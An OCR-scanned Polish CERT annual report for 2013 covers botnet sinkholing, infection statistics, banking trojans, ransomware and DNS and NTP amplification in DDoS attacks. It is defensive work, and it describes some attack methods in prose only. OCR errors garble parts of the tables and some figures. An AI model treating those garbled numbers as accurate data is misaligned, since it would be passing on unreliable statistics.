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2013 byt rokiem, w ktorym CERT Polska rozpoczat przejmowanie kilkudziesieciu instan-
¢ji réznych botnetow, takich jak Citadel, ZeuS, Dorkbot, Andromeda, Sality i inne. Zidentyfi-
kowalisSmy rejestratora domen internetowych Domain Silver Inc., ktory rejestrowat w NASK
domeny wykorzystywane nastepnie do celéw zwigzanych z dziatalnoscig ztosliwego opro-
gramowania (z ang. rogue registrar). Umowa o wspotpracy z Domain Silver Inc. zostata wy-
powiedziana, a zarejestrowane za jego posrednictwem domeny byty sukcesywnie przejmo-
wane przez CERT Polska. Te dziatania spowodowaty, ze domena .pl przestata by¢ atrakcyjna
dla cyberprzestepcow.

Oproécz szczegdtowych informacji na temat tych dziatan, w raporcie przedstawimy infor-
macje o trendach w sieciowych zagrozeniach i incydentach. Ze wzgledu na to, ze otrzymu-
jemy informacje z coraz wiekszej liczby zrodet, a wraz z rozwojem Sieci zmienia sie cha-
rakter zagrozen, zrezygnowalisSmy z prostych liczbowych poréwnan z poprzednimi latami.
Zamiast tego w raporcie skupiamy sie na najwazniejszych obserwacjach wynikajgcych za-
réwno z danych pochodzacych ze zgtoszen jak i gromadzonych bezposrednio w wyniku na-
szych dziatan. Szczegotowe informacje udostepniamy za pomocg platformy né.

Nasze dane wskazuja, ze najaktywniejszym w Polsce rodzajem ztosliwego oprogramowa-
nia sg konie trojanskie okradajace klientow internetowych serwiséw bankowych. Dlatego
tez uzytkownicy powinni zachowac szczegdlng ostroznos¢ przy korzystaniu z bankowosci
internetowej. Czestym zagrozeniem byly tez programy zadajace okupu (ransomware), za
to niewielki odsetek wykrytego ztosliwego oprogramowania stanowity programy stworzone
z mysla o atakowaniu telefonéw komodrkowych. Ataki tego typu ciggle sg duzo rzadsze od
atakow na uzytkownikéw komputeréw osobistych.

W polskim Internecie w roku 2013 zagrozeniem byly tez ataki blokujgce dostep do
ustug (DDoS), motywowane finansowo - jako narzedzie szantazu wobec firm prowadza-
cych dziafalno$¢ w Internecie oraz ideologicznie. Pod koniec roku zaobserwowalismy

WSTEP

upowszechnienie sie nowej metody wzmacniania atakow tego typu - oprocz dotychcza-
sowego wzmacniania uderzenia za pomocg zle skonfigurowanych serweréw nazw dome-
nowych (DNS), przestepcy zaczeli wykorzystywac zle skonfigurowane serwery czasu i daty
(NTP).

Oprocz atakow nakierowanych na obywateli i firmy w kraju, polski Internet stat sie tez plat-
formga atakéw prowadzonych na skale globalng - domeny .pl wykorzystywane byly przez
pakiety automatycznych narzedzi do przetamywania zabezpieczen (exploit kity), ktére z ko-
lei stanowity czeS¢ wiekszych kampanii cyberprzestepczych. Wycieki danych, mimo ze nie-
ktére byty naprawde bardzo duze (jak wyciek danych z Adobe), nie odbity sie w szczegdlny
sposob na polskich uzytkownikach, a przynajmniej nie otrzymywalismy takich sygnatow.

Na podstawie informacji zebranych przez nas podczas analizy ztosliwego oprogramowa-
nia, postanowilismy zmieni¢ sposéb okreslania liczebnosci botnetéw. Spowodowato to
zmiane szacowanej liczby zarazonych komputeréw, pomimo ze ich sieciowa aktywnos¢ nie
wzrosta znaczgco w stosunku do do lat poprzednich.

Oprocz danych o botnetach, w raporcie zawarlismy przekrojowe, zebrane automatycznie
dane statystyczne opisujgce zaobserwowang przez nas aktywnosc ztosliwego oprogramo-
wania, serwerdéw stuzgcych do wzmacniania atakéw DDoS i ztosliwych stron stuzacych do
wytudzania danych dostepowych do bankdow.



Po naszych dziataniach wymierzo-
nych w centra zarzadzania wielu bot-
netow, wykorzystujgcych polskie za-
soby, w tym przeciwko Domain Silver
Inc., zaobserwowalisSmy znaczacy spa-
dek wykorzystania domen .pl w ztosli-
wych celach.

Z zebranych przez nas danych wyni-
ka, ze dziennie w Polsce jest aktywnych
okoto 170 tysiecy zainfekowanych kom-
puterow. Ze wzgledu na ograniczenia
zbieranych danych iinne czynniki, uwa-
zamy, ze liczba ta moze by¢ nieco za-
nizona, ale naszym zdaniem aktywnych
dziennie jest nie wiecej niz 300 tysiecy
maszyn.

Wiekszos¢ raportowanych infekcji do-
tyczy botnetéw Conficker, Sality oraz
ZeroAccess. tacznie stanowity one po-
nad potowe wszystkich zgtaszanych do
nas infekcji.

Narasta problem otwartych resolverow
DNS. Liczba unikalnych IP, na ktorych
znajdowaty sie otwarte resolvery DNS,
byta prawie siedmiokrotnie wieksza od

NAJWAZNIEJSZE
OBSERWACJE

zesztorocznej. Serwery tego typu za-
czety by¢ wykorzystywane jako wzmac-
niacze w atakach DDoS (DDoS na
Spamhaus/CloudFlare w marcu 2013).
Najwiecej Zle skonfigurowanych serwe-
réw w przeliczeniu na wielkos¢ AS znaj-
duje sie w matych sieciach.

Pod koniec grudnia pojawity sie infor-
macje o atakach DDoS wykorzystujg-
cych Zle skonfigurowane serwery NTP.
Uzycie serwera NTP jako wzmacnia-
Cza ataku DDoS jest proste i oferu-
je znacznie wieksze wzmocnienie (200
razy, dla DNS ok. 20 razy). Wydaje sieg,
ze wielu administratorow nie zdaje so-
bie sprawy z mozliwosci wykorzystania
Zle skonfigurowanych serweréw NTP
i DNS do wzmocnionego i odbitego
ataku DDoS.

Pomimo duzej liczby wyciekow tylko
w znikomej liczbie przypadkéw potwier-
dzono wykorzystanie wykradzionych
danych.

Systematycznie zmniejsza sie ilos¢ spa-
mu wysytanego z polskich sieci. Duza

poprawe spowodowato wprowadzenie
blokady portu TCP/25 w Netii.

Obserwowane przez nas exploit kity
W przewazajgcej wiekszosci wykorzy-
stujg podatnosci Javy.

W Polsce widzimy coraz bardziej no-
watorskie narzedzia i sposoby na wy-
tudzanie oraz kradziez sSrodkéw z kont
bankowych: infekcja nowym malwarem
(takim jak KINS, PowerZeus, vmZeus,
VBKIip), infekcja urzadzen moblinych
(E-Security, Antivirus), atak na routery
i podmiana DNS-6w, rzekomo omytko-
wy przelew, zdefiniowany odbiorca, in-
fekcja smartfondw.

W zesztym roku zauwazyliSmy ataki na
klientéw wszystkich wiekszych bankow
prowadzgcych obstuge elektronicznych
kont bankowych.

Coraz popularniejszym narzedziem
przestepczym jest CryptolLocker — opro-
gramowanie szyfrujgce pliki i wymusza-
jgce okup. Jednak nie zaobserwowali-
Smy kampanii wykorzystujacej Crypto-

Lockera skierowane] przeciwko Polsce
i polskim uzytkownikom. Z drugiej stro-
ny ransmoware (zwany "policyjnym wi-
rusem”) jest wcigz popularny w Polsce.

Spodziewamy sie dalszego rozwoju
ztosliwego oprogramowania w kierun-
ku uzywania coraz bardziej zaawan-
sowanych technik. Wsrod nich jest na
przykfad wykorzystanie sieci anonimi-
zujacych (np. TOR) czy poprawne uzy-
cie technik szyfrowania.

Obserwujemy niewielkg — aktywnos¢
zwigzang z tzw. atakami APT przeciw-
ko polskim podmiotom lub w polskie]
przestrzeni adresowej. Nawet jesli do-
tyczg one "polskich IP”, to niekoniecz-
nie polskich podmiotow.



Zespot CERT Polska dziata w strukturach NASK (Naukowej i Akademickiej Sieci Kompute-
rowej) - instytutu badawczego prowadzacego dziatalnos¢ naukowa, krajowy rejestr domen
.plidostarczajacego zaawansowane ustugi teleinformatyczne. CERT Polska to pierwszy po-
wstaty w Polsce zespét reagowania na incydenty (z ang. Computer Emergency Response
Team). Dzieki preznej dziatalnosci od 1996 roku, w Srodowisku zespotéw reagujgcych stat
sie rozpoznawalnym i doswiadczonym podmiotem w dziedzinie bezpieczenstwa kompute-
rowego. Od poczatku istnienia zespotu rdzeniem dziatalnosci jest obstuga incydentéw bez-
pieczenstwa i wspotpraca z podobnymi jednostkami na catym swiecie, zarowno w dziatal-
nosci operacyjnej, jak i badawczo-wdrozeniowej. Od 1998 roku CERT Polska jest cztonkiem
miedzynarodowego forum zrzeszajgcego zespoty reagujgce - FIRST, a od roku 2000 nalezy
do grupy roboczej europejskich zespotéw reagujacych - TERENA TF-CSIRT i dziatajgcej przy
niej organizacji Trusted Introducer. W 2005 roku z inicjatywy CERT Polska powstato forum
polskich zespotow abuse — Abuse FORUM, natomiast w 2010 roku CERT Polska dofgczyt
do Anti-Phishing Working Group, stowarzyszenia gromadzacego firmy i instytucje aktywnie
walczgce z przestepczoscig w sieci.

Do gtéwnych zadan zespotu CERT Polska nalezy:
rejestrowanie i obstuga zdarzen naruszajgcych bezpieczenstwo sieci;

aktywne reagowanie w przypadku wystapienia bezposrednich zagrozen dla uzytkowni-
kow;

wspotpraca z innymi zespotami CERT w Polsce i na swiecie;

udziat w krajowych i miedzynarodowych projektach zwigzanych z tematyka bezpieczen-
stwa teleinformatycznego;

INFORMACJE O ZESPOLE
CERT POLSKA

dziafalnos$¢ badawcza z zakresu metod wykrywania incydentéw bezpieczenstwa, analizy
ztosliwego oprogramowania i systeméw wymiany informacji o zagrozeniach;

rozwijanie wiasnych narzedzi do wykrywania, monitorowania, analizy i korelacji zagro-
zen;

regularne publikowanie Raportu CERT Polska o bezpieczenstwie polskich zasoboéw In-
ternetu;

dziafania informacyjno-edukacyjne, zmierzajgce do wzrostu Swiadomosci w zakresie
bezpieczenstwa teleinformatycznego, w tym:

» publikowanie informacji o bezpieczenstwie na blogu http://www.cert.pl/ oraz w serwi-
sach spotecznosciowych Facebook i Twitter;

» organizacja cyklicznej konferencji SECURE;

niezalezne analizy i testy rozwigzan z dziedziny bezpieczenstwa teleinformatycznego.


http://www.cert.pl/

Kalendarium zawiera wazne wydarzenia z dziatalnosci CERT Polska jak oraz istotne wydarzenia z Polski i Swiata majace zwia-
zek z tematyka poruszang w raporcie.
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2013
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STATYSTYKA OBSEUZONYCH
INCYDENTOW

W tej czesci raportu prezentujemy opracowane przez CERT Polska statystyki otrzyma-
nych przez zespot zgtoszen, ktdre zostaty przez nas obstuzone recznie. Dotyczg one zaréw-
no zgtoszen ze zrédet zewnetrznych, jak i z wiasnych wewnetrznych systemow.

W 2013 roku zespét CERT Polska obstuzyt recznie 1 219 incydentéw. Podobnie jak w latach
poprzednich wiekszos¢ z nich stanowity te dotyczgce phishingu (ok. 45%), ztosliwego opro-
gramowania (prawie 20%) oraz spamu (ponad 12%). Zgtaszajgcymi i poszkodowanym byty
gtownie firmy komercyjne (odpowiednio 61,8% oraz 49%), przewaznie z zagranicy (80,3%
oraz 40,3%). Atakujgcy pozostawat nieznany w 78,6% przypadkdow.

W ciggu catego 2013 roku odnotowalismy dos¢ duzg liczbe incydentéw zwigzanych z phi-
shingiem. Skala zjawiska byfa zblizona do tej z 2012 roku. Nalezy podkresli¢, ze byty to incy-
denty dotyczace phishingu umieszczonego na polskich serwerach, badz phishingu polskich
instytucji, znajdujacego sie na serwerach zagranicznych. W ujeciu ogélnoswiatowym skala
zjawiska byta znacznie wieksza. W czerwcu i lipcu notowalisSmy wzmozone ataki phishingo-
we, ukierunkowane na polskich uzytkownikéw bankowosci internetowej. Przestepcy ma-
sowo rozsytali za posrednictwem poczty elektronicznej wiadomosci podszywajac sie pod
banki i probowali z wykorzystaniem wskazanych w nich stron wytudzi¢ dane dostepowe.

Jednak najpowazniejsze ataki na polskich uzytkownikéw bankowosci internetowej przepro-
wadzono z wykorzystaniem ztosliwego oprogramowania typu ZeusS i Citadel. Pojawito sie
kilka nowych scenariuszy atakow. W pierwszym z nich przestepcy sztucznie podwyzszali
saldo ofiary, informowali jg o btednym przelewie i koniecznosci zwrotu srodkéw (oczywi-
Scie na konto stupa). W innym scenariuszu ztosliwe oprogramowanie w momencie zleca-
nia transakgji przez ofiare dokonywato zmiany rachunku docelowego (ukrywajac ten fakt
przed ofiarg).
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Rysunek 1: Liczby incydentow obstuzonych recznie przez CERT Polska
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LICZBA UDZIAL
RODZAJ ZGLOSZENIA ZGLOSZEN PROCENTOWY

Obrazliwe i nielegalne tresci 13,13%

Spam 151 12,39%
Dyskredytacja, obrazanie 3 0,25%
Pornografia dziecieca, przemoc 2 0,16%
Niesklasyfikowane 4 1,60%
Wirus 5 0,41%
Robak sieciowy 9 0,74%
Kon trojanski 63 517%
Oprogramowanie szpiegowskie 1 0,08%
Dialer 0 0,00%
Niesklasyfikowane 242 19,85%
Skanowanie 42 3,45%
Podstuch 0 0,00%
Inzynieria spoteczna 2 0,16%
Niesklasyfikowane 2 0,16%

Wiamanie na konto uprzywilejowane 0 0,00%
Wiamanie na konto zwykte 5 0,41%
Wiamanie do aplikadji 0 0,00%
Niesklasyfikowane 6 0,49%

Préby wiaman _ 2,46%

Wykorzystanie znanych luk systemowych 0,82%
Proby nieuprawnionego logowania 17 1,39%
Wykorzystanie nieznanych luk systemowych 0 0,00%
Niesklasyfikowane 3 0,25%
Dostepnos¢ zasobow 30 2,46%
Atak blokujgcy serwis (DoS) 7 0,57%
Rozproszony atak blokujgcy serwis (DDoS) 22 1,80%
Sabotaz komputerowy 0 0,00%
Niesklasyfikowane 1 0,08%
Atak na bezpieczenstwo informacji 33 2,71%
Nieuprawniony dostep do informadji 14 1,15%
Nieuprawniona zmiana informacji 2 0,16%
Niesklasyfikowane 1,39%
—
Nieuprawnione wykorzystanie zasobdw 0,57%
Naruszenie praw autorskich 5 041%
Kradziez tozsamosci, podszycie sie 560 45,94%
Niesklasyfikowane 17 1,39%
Inne 0 0,00%

Tabela 1: Incydenty obstuzone przez CERT Polska wedtug typow
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W kwietniu pojawita sie mutacja zwigzana z E-Security. Przestepcy wyswietlali ofierze ko-
munikat o koniecznosci zainstalowania w smartfonie certyfikatu E-Security w celu popra-
wienia bezpieczenstwa. Instalacja konczyta sie przejeciem kontroli nad telefonem i dawata
przestepcom mozliwos¢ np. cichego przekazywania wiadomosci tekstowych. Gdy scena-
riusz z E-Security przestat by¢ efektywny, przestepcy wymyslili nowy scenariusz z fatszywym
programem antywirusowym, ktéry rzekomo miat zapobiega¢ przypadkom podobnym do
E-Security. Znéw dochodzito do przejecia kontroli nad telefonem.

Unikalny na skale Swiatowg i genialny w swej prostocie okazat sie VBKIip. Bardzo prosta
aplikacja, ktéra w momencie wykonywania CTRL+C (kopiuj) i CTRL+V (wklej) wyszukiwata
w schowku cigg znakoéw pasujgcy formatem do numeru rachunku bankowego i podmie-
niafa go na numer wskazany przez cyberprzestepcow, okazata sie bardzo skuteczna i trud-
na do wykrycia.

Pomimo znacznie mniejszej liczby incydentow zwigzanych z powyzszymi scenariuszami, sg

one nieporownywalnie grozniejsze niz klasyczny phishing i dotykajg w ostatecznym rozra-
chunku znacznie wiekszej liczby oséb w poréwnaniu z klasycznym phishingiem.
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WIELKOSC BOTNETOW
W POLSCE

W tym rozdziale opisujemy metode liczenia wielkosci botnetéw, ktéra doprowadzita do
wynikow przedstawionych w niniejszym raporcie. Szacowanie wielkosci botnetow jest zagad-
nieniem bardzo trudnym, czesto przytaczane sg zatrwazajgce liczby, otrzymywane wedtug
niejasnych regut i nieodpowiadajgce rzeczywistej skali problemu. W tym roku na bazie na-
szych wiasnych danych i danych otrzymywanych przez zewnetrzne zrodta podijelismy sie pro-
by oszacowania rzeczywistych rozmiaréw botnetow. Nasza metodyke staramy sie przedsta-
wi¢ w rozdziale 15, ponizej zas znajdujg sie wyniki obliczen szacunkowych.

Liczebno$¢ botnetdw, w znaczeniu tutaj zaprezentowanym, ma niewiele wspolnego z licz-
bami zaprezentowanymi w raporcie Eurostat, ktéry zawiera stwierdzenie, ze 30% polskich
uzytkownikéw Internetu miato stycznosc z infekcjg komputera [8]. Zaktadamy w tym wy-
padku, ze uzytkownik odpowiadajgc w ankiecie na pytanie o infekcje, bazowat na informa-
cjach przede wszystkim od oprogramowania antywirusowego.

W przypadku analizy botnetow pojawia sie szereg problemdw z interpretacja. Po pierwsze,
oprogramowanie antywirusowe moze blokowac infekcje. Zdaniem Microsoftu [21] okoto
20% komputeréw w Polsce miato stycznosc ze ztosliwym oprogramowaniem, chociaz infek-
Cja zostata powstrzymana przez oprogramowanie antywirusowe, przy czym powstrzyma-
nie przez oprogramowanie antywirusowe nie oznacza, ze uzytkownik bytby zainfekowany,
gdyby nie miat programu antywirusowego. Plik ze ztosliwym oprogramowaniem maogt znaj-
dowac sie w ktoérejs z wiadomosci e-mail, ktérej uzytkownik i tak by nie otworzyt.

Drugim waznym problemem jest niezrozumienie definicji ztosliwego oprogramowania -
przecietni uzytkownicy nie sg w stanie odrézni¢ nietypowego zachowania systemu ope-
racyjnego badz aplikadji od "wirusa”. Niektorzy moga uznac¢ nawet atak phishingowy za
kontakt ze ztosliwym oprogramowaniem. Co wiecej, nie tylko uzytkownicy majg problem
z definicjg ztosliwego oprogramowania - rozwigzania antywirusowe potrafig réwniez wy-
kry¢ nieztosliwy plik jako niepozadane oprogramowanie [3].



Oczywiscie jest tez czynnik dziatajgcy w druga strone - ,nie wiemy tego o czym nie wiemy”,
tj. 0 zagrozeniach niewykrytych przez systemy antywirusowe. Analizujac dane o infekcjach,
ktére CERT Polska otrzymuije, i stosujgc wspomniang metodyke stwierdzamy, ze w Polsce
zainfekowanych dziennie jest okofo 169 900 komputerdw, co stanowi okoto 1,5% wszyst-
kich komputeréw znajdujacych sie w gospodarstwach domowych®. Daje to pewien obraz
rzeczywistej liczebnosci infekdji.

Warto tez podkresli¢, ze dane dotyczace botnetéw pochodzga z systemdw sinkhole, honey-
potow, crawleréw sieci botnetow P2P, a nie z systemow antywirusowych. Dzieki temu sg
zazwyczaj bardzo dokfadne i zawierajg niewiele fatszywych alarmaow.

Ze wzgledu na nature posiadanych przez nas danych oraz ze wzgledu na przyjetag metody-
ke mozemy oszacowac, ze w Polsce jest nie wiecej niz 300 000 zainfekowanych kompute-
réw aktywnych w ciggu kazdych 24h. Ponadto warto zauwazy¢, ze pojawia sie coraz wiecej
matych botnetow liczacych po kilka tysiecy maszyn. Cyberprzestepcy starajg sie specjalizo-
wac w infekowaniu uzytkownikow, ktorzy sg najwiecej dla nich warci.

Liczby wynikajace z naszych danych sa bliskie wartosciom z raportu firmy Microsoft [21],
wedtug ktdrego infection rate dla Polski wynosi pomiedzy 0,56% a 0,78%, natomiast dla
Swiata - pomiedzy 0,53% a 0,63%, zaleznie od rozwazanego kwartatu. Wynik jest zanizony,
poniewaz nie uwzglednia 0sdéb, ktore nie uzywajg zadnego rozwigzania antywirusowego,
przez co sg - przynajmniej teoretycznie - bardziej narazone na infekcje.

4 Liczbe komputeréw w gospodarstwach domowych szacujemy na 11 min, zgodnie ze statystykami z rozdziatu 15.4
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Rysunek 2: Procentowy udziat zainfekowanych adresow IP wsrod operatorow



Procant snnfkemamych | Maksyralnstlen b vacperstora | PO
1 4,24 28806 12912 T-Mobile 2 482053
2 1,58 10070 39603 P4 (Play) 5 476182
3 1,20 7136 21021 Multimedia Polska 7 165108
4 1,12 16911 12741 Netia 3 438582
5 1,06 58576 5617 Orange Polska 1 2023372
6 0,95 12598 8374 Plus 4 508372
7 0,88 4500 29314 VECTRA 8 62418
8 0,85 2128 20960 TK Telekom 9 4493
9 0,56 8256 6830 UPC Polska 6 44101
10 0,48 1560 43939 Internetia 11 4658
11 0,38 1578 6714 GTS Poland 10 16801
12 0,13 407 8308 NASK 12 908365

Tabela 2: Dane dotyczqce infekcji u polskich operatoréw
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H Liczba adreséw IP Udziat procentowy

Conficker 45521 26,79%
2 Sality 24080 14,177%
3 ZeroAccess 19025 11,20%
4 Virut 15063 8,87%
5 lzsgfh(;v dtzg Citade 12193 7,18%
- Pozostate 54018 31,79%

Tabela 3: Najwieksze botnety w Polsce

SINKHOLE - PRZEJMOWANIE
BOTNETOW PRZEZ CERT POLSKA

Botnet to zbior komputeréw zainfekowanych ztosliwym oprogoramowaniem. Jest on
wartosciowy dla botmastera (wiasciciela botnetu) tylko kiedy moze on sprawowac w jakims
stopniu kontrole nad maszynami. Odbywa sie to najczesciej przez jeden lub wiele serwe-
réw zarzadzajgcych zwanych C&C (Command and Control). Do zarzadzania wykorzystywa-
ne sg rézne protokoty sieciowe — najczesciej IRC oraz HTTP. Adres takiego serwera C&C po-
dawany jest najczesciej w postaci nazwy domenowej. Przejecie lub usuniecie takiej domeny
odcina atakujacego od mozliwosci kontroli. Niestety czesto ztosliwe oprogramowanie po-
siada mechanizmy zapasowe, ktére w przypadku braku tgcznosci z podstawowym serwe-
rem C&C pomagajg botmasterowi odzyskac kontrole nad botnetem.

Specjalnie przygotowany serwer emulujgcy dziatanie serwera C&C nazywamy sinkholem.
Przejecie domen uzywanych przez botmastera i przekierowanie ich na adres takiego ser-
wera powoduje, ze zainfekowane komputery t3czg sie z nowg lokalizacjg (serwerem sin-
khole), a nie z kontrolowanym przez przestepcéw serwerem dowodzenia. Powoduje to
utrudnienie lub nawet uniemozliwienie odzyskania kontroli nad botnetem, a dodatkowo
umozliwia wyliczenie zainfekowanych maszyn.

Pod koniec 2012 roku CERT Polska skonfigurowat serwer stuzacy do sinkholowania ztosli-
wych domen .pl, czyli domen bezdyskusyjnie wykorzystywanych przez ztosliwe oprogramo-
wanie. Sktada sie on z dwdch komponentow:

> serwera DNS, ktéry na zapytanie o domene odpowiada odpowiednim adresem IP,

> serwera TCP - modutowej budowy, ktéry pozwala na emulowanie wielu rodzajéw serwe-
row C&C.

Domeny sinkhole'owane sg na serwerze CERT Polska na trzy sposoby (jak przedstawiono
na rysunku 3):
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> poprzez zmiane rekordéw A - na wniosek CERT Polska
rejestrator zmienia wpisy domeny tak, aby wskazywaty
na adres IP serwera sinkhole,

domain-x.tld ??

> DNS < » domain-x.tld
< Resolver INA148.81.111...

148.81.111...

> poprzez przejecie domeny .pl - nastepuje zmiana wpi-
sOw w rejestrze, tak aby serwery nazw (rekord NS) usta-
wione byty na sinkhole.cert.pl. Zapytanie o takg domene
docelowo odbierane jest przez serwer sinkhole i zwra-
cany jest odpowiedni adres IP,

> jako efekt uboczny - jezeli domena A ma wpisane rekor-
dy NS wskazujgce na domene B, ktéra jest sinkhole’owa-
na, tym samym domena A tez staje sie sinkhole'owana.
Zapytania o domene A docierajag do serwera sinkhole,
ktory odpowiada wskazujac na swoj adres IP.

domain-y.tld ?? < > m domain-y.tld
> DNS IN NS sinkhole
< SEEEr > IS domain-y.tld
148.81.111... INA148.81.111...

7.1 PRZEJECIA BOTNETOW WYKONANE PRZEZ CERT
POLSKA W 2013 ROKU

Pierwszym sinkholowanym botnetem byfa instancja Dork-

—
domain-a.tld ?? IN NS domain-b.pl
bota ukierunkowana miedzy innymi na polskich uzytkowni- < Resolver IN NS sinkhole
kéw Internetu. Byly to trzy domeny. Malware ten wykorzy-

148.81.111... :
e e
stywat protokét IRC dodatkowo szyfrowany SSL. INA148.81.111...

Kolejnym etapem byto przejecie pod koniec stycznia do- Rysunek 3: Schemat sinkhole'owania domeny
men zwigzanych ze ztosliwym oprogramowaniem Vi-
rut. Domen tych byto 43. Komunikacja z serwerem C&C

o o (o
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odbywata sie za pomocg dwdch protokotéw: IRC oraz niestandardowo zaszyfrowanego
IRC. Dodatkowo z Virutem zwigzane byty niektére strony WWW stuzace do infekcji tym wi-
rusem. Dzieki uruchomieniu ustugi HTTP na sinkhole'owanych domenach mozliwe byto
takze monitorowanie dostepu do tych stron i identyfikowanie potencjalnych ofiar. Wiecej
informacji o przejeciu botnetu Virut znajduje sie w rozdziale 16.1 raportu.

Nastepnie NASK wypowiedziat umowe jednemu ze swoich partneréw - firmie Domain Sil-
ver Inc. Domeny zarejestrowane za posrednictwem tego partnera, ktére jednoznacznie
byty zwigzane ze ztosliwym oprogramowaniem, zostaty rowniez przekierowane na sinkho-
le CERT Polska. Byto to najwieksze przejecie domen w zesztym roku. Wiecej na ten temat
mozna znalez¢ w rozdziale 16.2 raportu.

W dalszej czesci roku monitorowalismy dziatalnos¢ réznego ztosliwego oprogramowania, ktére
wykorzystywato domeny .pl. Gdy byliSmy pewni, ze dana domena jest wykorzystywana do zto-
Sliwej dziatalnosci, przekierowywalismy jg w porozumieniu z partnerem NASK na nasz sinkhole.

Liczba potaczen przychodzacych do naszego sinkhole’a na poczatku 2014 roku waha sie
miedzy 500 a 900 na sekunde (jak wida¢ na rysunku 4).

TRENDY W ROZWOJU
BOTNETOW

W ubieglym roku zauwazylismy kilka nowych botnetéw wymierzonych w polskich uzyt-
kownikéw. Znaczaca wiekszos¢ przeznaczona byta do przeprowadzania atakéw ukierunko-
wanych na klientéw bankowosci internetowe] i stuzyta do wykradania ich danych logowania
czy tez haset jednorazowych.
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Rysunek 4: Wykres pofqczeri z serwerem sinkhole na poczqtku 2014 roku

Rozwoj botnetow pokazuje, ze coraz wazniejsza czescig implementacji bota jest poprawne
i efektywne zastosowanie kryptografii. Andromeda, ktorej domeny C&C zostaty przez nas
przejete [30], uzywata szyfrowania strumieniowego RC4. Nawet w takich prostych botach,
jak opisywana przez nas aplikacja na telefony Android "Mobile Antivirus” [39], wykorzysta-
ne byto szyfrowanie AES.

Jednym z rodzajow oprogramowania ransomware, ktére réwniez poprawnie wykorzystuje
kryptografie do osiggniecia swojego celu, jest "CryptoLocker”. Nie jest on jeszcze spotkany
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w Polsce, podejrzewamy jednak, ze ze wzgledu na jego sukces, niedtugo zostanie stworzo-
na takze polska wersja.

Przestepcy coraz czesciej wykorzystujg kryptowaluty, takie jak stynny Bitcoin, w celu reali-
zacji ptatnosci i nawet osoby, ktére nie miaty stycznosci z takg walutg elektroniczng ptaca
tylko po to, aby ich komputer zostat odblokowany [10]. Czasem sg to niemate kwoty, od
0,3 do 2 BTC (ok. 300-400 USD w czasie zgdania okupu), a w przypadku spéznienia z ptat-
noscig az do 10 BTC (ponad 1000 USD w czasie zagdania okupu) [46].

Domena .bit - wykorzystywana na przyktad przez malware Necurs [45] - jest oparta
o kolejny rodzaj kryptowaluty o nazwie Namecoin. Uzywanie tych domen uniemozliwia
sinkhole'owanie serweréw C&C i powoduje, ze malware staje sie bardziej niebezpiecz-
ny. Podobne utrudnienia powoduje uzywanie sieci TOR, jak w stynnym przypadku kra-
dziezy danych klientow amerykanskiej sieci sklepéw Target [11] czy w przypadku mal-
ware'u Mavade, ktory spowodowat znaczacy wzrost uzycia sieci TOR w potowie roku
[13]. Rowniez opisywany przez nas VBKlip [38] wykorzystywat sie¢ TOR do odbiera-
nia informacji od zainfekowanych komputeréw. Oprécz nieblokowalnych domen i sie-
ci anonimizujgcych, malware moze wykorzystywac rowniez niektore sieci P2P. Badacze
IBM znalezli informacje na temat malware'u o nazwie i2Ninja, ktory do zarzgdzania wy-
korzystywat siec¢ 12P [18].

W tym roku zidentyfikowaliSmy nowy rodzaj ztosliwego programu, ktéry implemen-
towat catkowicie nowatorski koncept [40]. Program, nazwany przez nas VBKlip, pod-
mieniat numer rachunku bankowego za kazdym razem, gdy znalazt sie on w schowku,
skopiowany przez uzytkownika np. w celu wstawienia do przelewu. VBKIlip jest pro-
gramem bardzo prostym, jego pierwsze wersje napisane byty w Visual Basic, a kolej-
ne w .NET. Nie tworzy zadnych wpiséw w rejestrach systemowych ani nie komuniku-
je sie przez sie¢. Cybeprzestepcom wystarczyta sama podmiana numeru rachunku
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bankowego w schowku - w ten sposéb sptywaty do nich pienigdze od nieswiadomych
uzytkownikow.

Zeszty rok uptynat réwniez pod znakiem doniesien o ztosliwym oprogramowaniu na sys-
temy z rodziny Linux. W sierpniu firma RSA opublikowafa artykut [43] na temat malwa-
re’'u przeznaczonego na komputery zwyktych uzytkownikéw z uruchomionym systemem
Linux. Malware ten oferowany byt w cenie 2000 dolaréw. Pod koniec roku, w grudniu, do-
nosilisSmy o nowym rodzaju bota, przeznaczonego do atakéw DDoS, ktéry infekowat serwe-
ry zarowno z systemem Linux, jak i Windows. W przypadku systemu Linux rozprzestrzeniat
sie za pomocg ataku stownikowego na hasta ustugi SSH [34].

Kolejnym trendem jest fgczenie aplikacji mobilnych z malware’em przeznaczonym na
komputery stacjonarne. W opisywanych przez nas dwoch przypadkach [33], [39], po-
przez zainfekowane komputery czy tez stosowanie socjotechniki rozprzestrzeniania byta
aplikacja mobilna. Takie tagczenie infekcji nie jest nowoscig, ale zyskato na popularnosci
w zesztym roku. Widac tez, ze socjotechnika jest wcigz popularna i bardzo szeroko uzy-
wana przez cyberprzestepcow.

Uzytkownikom indywidualnym radzimy korzystac z oprogramowania antywirusowego, ale
mimo to zachowywac czujnos¢. Nie nalezy otwierac¢ podejrzanych zatgcznikow poczty elek-
tronicznej, aby nie ulec infekcji za pomoca konia trojanskiego. W przypadku odkrycia in-
fekcji zalecamy wizyte w specjalistycznym serwisie komputerowym. Warto réwniez uzywac
mato znanej funkcjonalnosci programéw antywirusowych, a mianowicie trybu "bezpiecznej
piaskownicy” (sandbox). Dzieki uruchamianiu podejrzanych aplikacji w tym odizolowanym
Srodowisku, program antywirusowy jest w stanie bardziej kontrolowac rozprzestrzenianie
sie infekcji. Informacji na temat uruchamiania trybéw sandbox nalezy szukac na stronie
producentow programow antywirusowych.



Jedna z najgrozniejszych kategorii ztosliwego oprogramowania, mogacego spowodo-
wac powazne straty materialne, sg trojany bankowe. Cyberprzestepcy potrafig za ich po-
mocg przetransferowac wszystkie srodki z naszego konta i pozbawi¢ nas oszczednosci.
Dlatego tak istotne dla wszystkich uzytkownikéw komputerdéw jest zrozumienie sposobu
ich dziatania.

Trojany bankowe to podzbiér ztosliwego oprogramowania, ktéry posiada mechanizmy
umozliwiajgce atakowanie klientéw bankowosci elektronicznej. Sg to w wiekszosci przy-
padkow programy posiadajgce funkcje robienia tzw. "webinjectow”, czyli btyskawicznej mo-
dyfikacji strony internetowej, na zainfekowanym komputerze. Modyfikacja odbywa sie po
zdjeciu warstwy szyfrowania (SSL), tuz przed wyswietleniem strony uzytkownikowi.

Obecnie bez watpienia najbardziej popularne w tej kategorii jest ztosliwe oprogramowa-
nie bedace mniej lub bardziej wiernym klonem ZeuSa. Spowodowane jest to najprawdo-
podobniej faktem upublicznienia (wycieku) kodu zrodtowego tego trojana w 2011 roku. Do
najpopularniejszych jego klondw nalezg: GameOver (ZeuS-p2p) oraz Citadel.

